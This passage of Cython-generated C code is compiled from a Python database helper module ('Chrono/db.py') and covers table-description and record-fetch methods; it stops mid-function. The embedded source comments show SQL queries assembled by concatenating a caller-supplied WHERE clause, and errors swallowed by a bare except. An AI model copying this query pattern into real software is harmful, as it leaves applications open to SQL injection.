__Pyx_INCREF(__pyx_v_data); __pyx_r = __pyx_v_data; goto __pyx_L0; } /*exception exit:*/{ __Pyx_PyThreadState_declare __pyx_L4_error:; __pyx_t_3 = 0; __pyx_t_2 = 0; __pyx_t_1 = 0; __pyx_t_7 = 0; __pyx_t_8 = 0; __pyx_t_9 = 0; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_7, &__pyx_t_8, &__pyx_t_9); if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_3, &__pyx_t_2, &__pyx_t_1) < 0)) __Pyx_ErrFetch(&__pyx_t_3, &__pyx_t_2, &__pyx_t_1); __Pyx_XGOTREF(__pyx_t_3); __Pyx_XGOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_t_1); __Pyx_XGOTREF(__pyx_t_7); __Pyx_XGOTREF(__pyx_t_8); __Pyx_XGOTREF(__pyx_t_9); { __Pyx_XDECREF(__pyx_r); if (unlikely(!__pyx_v_data)) { __Pyx_RaiseUnboundLocalError("data"); __PYX_ERR(0, 88, __pyx_L17_error) } __Pyx_INCREF(__pyx_v_data); __pyx_r = __pyx_v_data; goto __pyx_L16_return; } __pyx_L16_return:; __Pyx_PyThreadState_assign if (PY_MAJOR_VERSION >= 3) { __Pyx_XGIVEREF(__pyx_t_7); __Pyx_XGIVEREF(__pyx_t_8); __Pyx_XGIVEREF(__pyx_t_9); __Pyx_ExceptionReset(__pyx_t_7, __pyx_t_8, __pyx_t_9); } __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = 0; __pyx_t_8 = 0; __pyx_t_9 = 0; goto __pyx_L0; __pyx_L17_error:; __Pyx_PyThreadState_assign if (PY_MAJOR_VERSION >= 3) { __Pyx_XGIVEREF(__pyx_t_7); __Pyx_XGIVEREF(__pyx_t_8); __Pyx_XGIVEREF(__pyx_t_9); __Pyx_ExceptionReset(__pyx_t_7, __pyx_t_8, __pyx_t_9); } __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = 0; __pyx_t_8 = 0; __pyx_t_9 = 0; goto __pyx_L1_error; } } /* "Chrono/db.py":79 * self.indb = False # true if record is in Db * * def getDbVersion(self): # retrun the database version, may only run on mySql # <<<<<<<<<<<<<< * try: * cursor = self._link.cursor() */ /* function exit code */ __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_XDECREF(__pyx_t_6); __Pyx_AddTraceback("Chrono.db.db.getDbVersion", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_cursor); __Pyx_XDECREF(__pyx_v_data); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "Chrono/db.py":90 * return data * * def getTableDescription(self,): # <<<<<<<<<<<<<< * try: * cursor = self._link.cursor() */ /* Python wrapper */ static PyObject *__pyx_pw_6Chrono_2db_2db_7getTableDescription(PyObject *__pyx_self, PyObject *__pyx_v_self); /*proto*/ static PyMethodDef __pyx_mdef_6Chrono_2db_2db_7getTableDescription = {"getTableDescription", (PyCFunction)__pyx_pw_6Chrono_2db_2db_7getTableDescription, METH_O, 0}; static PyObject *__pyx_pw_6Chrono_2db_2db_7getTableDescription(PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("getTableDescription (wrapper)", 0); __pyx_r = __pyx_pf_6Chrono_2db_2db_6getTableDescription(__pyx_self, ((PyObject *)__pyx_v_self)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_6Chrono_2db_2db_6getTableDescription(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_v_cursor = NULL; PyObject *__pyx_v_data = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; PyObject *__pyx_t_6 = NULL; PyObject *__pyx_t_7 = NULL; PyObject *__pyx_t_8 = NULL; PyObject *__pyx_t_9 = NULL; PyObject *__pyx_t_10 = NULL; PyObject *__pyx_t_11 = NULL; __Pyx_RefNannySetupContext("getTableDescription", 0); /* "Chrono/db.py":91 * * def getTableDescription(self,): * try: # <<<<<<<<<<<<<< * cursor = self._link.cursor() * cursor.execute("DESC "+ self.__class__.__name__) */ /*try:*/ { { __Pyx_PyThreadState_declare __Pyx_PyThreadState_assign __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3); __Pyx_XGOTREF(__pyx_t_1); __Pyx_XGOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_t_3); /*try:*/ { /* "Chrono/db.py":92 * def getTableDescription(self,): * try: * cursor = self._link.cursor() # <<<<<<<<<<<<<< * cursor.execute("DESC "+ self.__class__.__name__) * data = cursor.fetchall() */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_link); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 92, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_cursor); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 92, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_5) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 92, __pyx_L6_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 92, __pyx_L6_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_v_cursor = __pyx_t_4; __pyx_t_4 = 0; /* "Chrono/db.py":93 * try: * cursor = self._link.cursor() * cursor.execute("DESC "+ self.__class__.__name__) # <<<<<<<<<<<<<< * data = cursor.fetchall() * cursor.close() */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_cursor, __pyx_n_s_execute); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 93, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_class); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 93, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_name); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 93, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = PyNumber_Add(__pyx_kp_u_DESC, __pyx_t_7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 93, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_7) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 93, __pyx_L6_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_5}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 93, __pyx_L6_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_5}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 93, __pyx_L6_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_8 = PyTuple_New(1+1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 93, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_8, 0+1, __pyx_t_5); __pyx_t_5 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_8, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 93, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Chrono/db.py":94 * cursor = self._link.cursor() * cursor.execute("DESC "+ self.__class__.__name__) * data = cursor.fetchall() # <<<<<<<<<<<<<< * cursor.close() * except: */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_cursor, __pyx_n_s_fetchall); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 94, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_8 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_8)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_8); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_8) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 94, __pyx_L6_error) __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 94, __pyx_L6_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_v_data = __pyx_t_4; __pyx_t_4 = 0; /* "Chrono/db.py":95 * cursor.execute("DESC "+ self.__class__.__name__) * data = cursor.fetchall() * cursor.close() # <<<<<<<<<<<<<< * except: * data = "" */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_cursor, __pyx_n_s_close); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 95, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_8 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_8)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_8); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_8) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 95, __pyx_L6_error) __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 95, __pyx_L6_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Chrono/db.py":91 * * def getTableDescription(self,): * try: # <<<<<<<<<<<<<< * cursor = self._link.cursor() * cursor.execute("DESC "+ self.__class__.__name__) */ } __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; goto __pyx_L13_try_end; __pyx_L6_error:; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Chrono/db.py":96 * data = cursor.fetchall() * cursor.close() * except: # <<<<<<<<<<<<<< * data = "" * finally: */ /*except:*/ { __Pyx_AddTraceback("Chrono.db.db.getTableDescription", __pyx_clineno, __pyx_lineno, __pyx_filename); if (__Pyx_GetException(&__pyx_t_4, &__pyx_t_6, &__pyx_t_8) < 0) __PYX_ERR(0, 96, __pyx_L8_except_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GOTREF(__pyx_t_6); __Pyx_GOTREF(__pyx_t_8); /* "Chrono/db.py":97 * cursor.close() * except: * data = "" # <<<<<<<<<<<<<< * finally: * return data */ __Pyx_INCREF(__pyx_kp_u__10); __Pyx_XDECREF_SET(__pyx_v_data, __pyx_kp_u__10); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; goto __pyx_L7_exception_handled; } __pyx_L8_except_error:; /* "Chrono/db.py":91 * * def getTableDescription(self,): * try: # <<<<<<<<<<<<<< * cursor = self._link.cursor() * cursor.execute("DESC "+ self.__class__.__name__) */ __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_1); __Pyx_XGIVEREF(__pyx_t_2); __Pyx_XGIVEREF(__pyx_t_3); __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); goto __pyx_L4_error; __pyx_L7_exception_handled:; __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_1); __Pyx_XGIVEREF(__pyx_t_2); __Pyx_XGIVEREF(__pyx_t_3); __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); __pyx_L13_try_end:; } } /* "Chrono/db.py":99 * data = "" * finally: * return data # <<<<<<<<<<<<<< * * def getRecord(self, wclause, index = 0 ): */ /*finally:*/ { /*normal exit:*/{ __Pyx_XDECREF(__pyx_r); __Pyx_INCREF(__pyx_v_data); __pyx_r = __pyx_v_data; goto __pyx_L0; } /*exception exit:*/{ __Pyx_PyThreadState_declare __pyx_L4_error:; __pyx_t_3 = 0; __pyx_t_2 = 0; __pyx_t_1 = 0; __pyx_t_9 = 0; __pyx_t_10 = 0; __pyx_t_11 = 0; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_9, &__pyx_t_10, &__pyx_t_11); if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_3, &__pyx_t_2, &__pyx_t_1) < 0)) __Pyx_ErrFetch(&__pyx_t_3, &__pyx_t_2, &__pyx_t_1); __Pyx_XGOTREF(__pyx_t_3); __Pyx_XGOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_t_1); __Pyx_XGOTREF(__pyx_t_9); __Pyx_XGOTREF(__pyx_t_10); __Pyx_XGOTREF(__pyx_t_11); { __Pyx_XDECREF(__pyx_r); if (unlikely(!__pyx_v_data)) { __Pyx_RaiseUnboundLocalError("data"); __PYX_ERR(0, 99, __pyx_L17_error) } __Pyx_INCREF(__pyx_v_data); __pyx_r = __pyx_v_data; goto __pyx_L16_return; } __pyx_L16_return:; __Pyx_PyThreadState_assign if (PY_MAJOR_VERSION >= 3) { __Pyx_XGIVEREF(__pyx_t_9); __Pyx_XGIVEREF(__pyx_t_10); __Pyx_XGIVEREF(__pyx_t_11); __Pyx_ExceptionReset(__pyx_t_9, __pyx_t_10, __pyx_t_11); } __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_9 = 0; __pyx_t_10 = 0; __pyx_t_11 = 0; goto __pyx_L0; __pyx_L17_error:; __Pyx_PyThreadState_assign if (PY_MAJOR_VERSION >= 3) { __Pyx_XGIVEREF(__pyx_t_9); __Pyx_XGIVEREF(__pyx_t_10); __Pyx_XGIVEREF(__pyx_t_11); __Pyx_ExceptionReset(__pyx_t_9, __pyx_t_10, __pyx_t_11); } __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_9 = 0; __pyx_t_10 = 0; __pyx_t_11 = 0; goto __pyx_L1_error; } } /* "Chrono/db.py":90 * return data * * def getTableDescription(self,): # <<<<<<<<<<<<<< * try: * cursor = self._link.cursor() */ /* function exit code */ __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_XDECREF(__pyx_t_6); __Pyx_XDECREF(__pyx_t_7); __Pyx_XDECREF(__pyx_t_8); __Pyx_AddTraceback("Chrono.db.db.getTableDescription", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_cursor); __Pyx_XDECREF(__pyx_v_data); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "Chrono/db.py":101 * return data * * def getRecord(self, wclause, index = 0 ): # <<<<<<<<<<<<<< * try: * cursor = self._link.cursor() */ /* Python wrapper */ static PyObject *__pyx_pw_6Chrono_2db_2db_9getRecord(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ static PyMethodDef __pyx_mdef_6Chrono_2db_2db_9getRecord = {"getRecord", (PyCFunction)__pyx_pw_6Chrono_2db_2db_9getRecord, METH_VARARGS|METH_KEYWORDS, 0}; static PyObject *__pyx_pw_6Chrono_2db_2db_9getRecord(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { PyObject *__pyx_v_self = 0; PyObject *__pyx_v_wclause = 0; PyObject *__pyx_v_index = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("getRecord (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_self,&__pyx_n_s_wclause,&__pyx_n_s_index_2,0}; PyObject* values[3] = {0,0,0}; values[2] = ((PyObject *)((PyObject *)__pyx_int_0)); if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 3: values[2] = PyTuple_GET_ITEM(__pyx_args, 2); case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 0: if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_self)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; case 1: if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_wclause)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("getRecord", 0, 2, 3, 1); __PYX_ERR(0, 101, __pyx_L3_error) } case 2: if (kw_args > 0) { PyObject* value = PyDict_GetItem(__pyx_kwds, __pyx_n_s_index_2); if (value) { values[2] = value; kw_args--; } } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "getRecord") < 0)) __PYX_ERR(0, 101, __pyx_L3_error) } } else { switch (PyTuple_GET_SIZE(__pyx_args)) { case 3: values[2] = PyTuple_GET_ITEM(__pyx_args, 2); case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); values[0] = PyTuple_GET_ITEM(__pyx_args, 0); break; default: goto __pyx_L5_argtuple_error; } } __pyx_v_self = values[0]; __pyx_v_wclause = values[1]; __pyx_v_index = values[2]; } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("getRecord", 0, 2, 3, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 101, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("Chrono.db.db.getRecord", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; __pyx_r = __pyx_pf_6Chrono_2db_2db_8getRecord(__pyx_self, __pyx_v_self, __pyx_v_wclause, __pyx_v_index); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_6Chrono_2db_2db_8getRecord(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_wclause, PyObject *__pyx_v_index) { PyObject *__pyx_v_cursor = NULL; PyObject *__pyx_v_data = NULL; Py_ssize_t __pyx_v_i; PyObject *__pyx_v_e = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; PyObject *__pyx_t_6 = NULL; PyObject *__pyx_t_7 = NULL; PyObject *__pyx_t_8 = NULL; int __pyx_t_9; Py_ssize_t __pyx_t_10; Py_ssize_t __pyx_t_11; int __pyx_t_12; int __pyx_t_13; char const *__pyx_t_14; PyObject *__pyx_t_15 = NULL; PyObject *__pyx_t_16 = NULL; PyObject *__pyx_t_17 = NULL; PyObject *__pyx_t_18 = NULL; PyObject *__pyx_t_19 = NULL; PyObject *__pyx_t_20 = NULL; __Pyx_RefNannySetupContext("getRecord", 0); /* "Chrono/db.py":102 * * def getRecord(self, wclause, index = 0 ): * try: # <<<<<<<<<<<<<< * cursor = self._link.cursor() * cursor.execute("SELECT * FROM "+ self.__class__.__name__+" WHERE "+wclause+" LIMIT %d,1"%(index )) */ { __Pyx_PyThreadState_declare __Pyx_PyThreadState_assign __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3); __Pyx_XGOTREF(__pyx_t_1); __Pyx_XGOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_t_3); /*try:*/ { /* "Chrono/db.py":103 * def getRecord(self, wclause, index = 0 ): * try: * cursor = self._link.cursor() # <<<<<<<<<<<<<< * cursor.execute("SELECT * FROM "+ self.__class__.__name__+" WHERE "+wclause+" LIMIT %d,1"%(index )) * data = cursor.fetchone() */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_link); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 103, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_cursor); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 103, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_5) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 103, __pyx_L3_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 103, __pyx_L3_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_v_cursor = __pyx_t_4; __pyx_t_4 = 0; /* "Chrono/db.py":104 * try: * cursor = self._link.cursor() * cursor.execute("SELECT * FROM "+ self.__class__.__name__+" WHERE "+wclause+" LIMIT %d,1"%(index )) # <<<<<<<<<<<<<< * data = cursor.fetchone() * cursor.close() */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_cursor, __pyx_n_s_execute); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 104, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_class); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 104, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_name); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 104, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = PyNumber_Add(__pyx_kp_u_SELECT_FROM, __pyx_t_7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 104, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = PyNumber_Add(__pyx_t_5, __pyx_kp_u_WHERE); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 104, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = PyNumber_Add(__pyx_t_7, __pyx_v_wclause); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 104, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = PyUnicode_Format(__pyx_kp_u_LIMIT_d_1, __pyx_v_index); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 104, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_8 = PyNumber_Add(__pyx_t_5, __pyx_t_7); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 104, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_7) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 104, __pyx_L3_error) 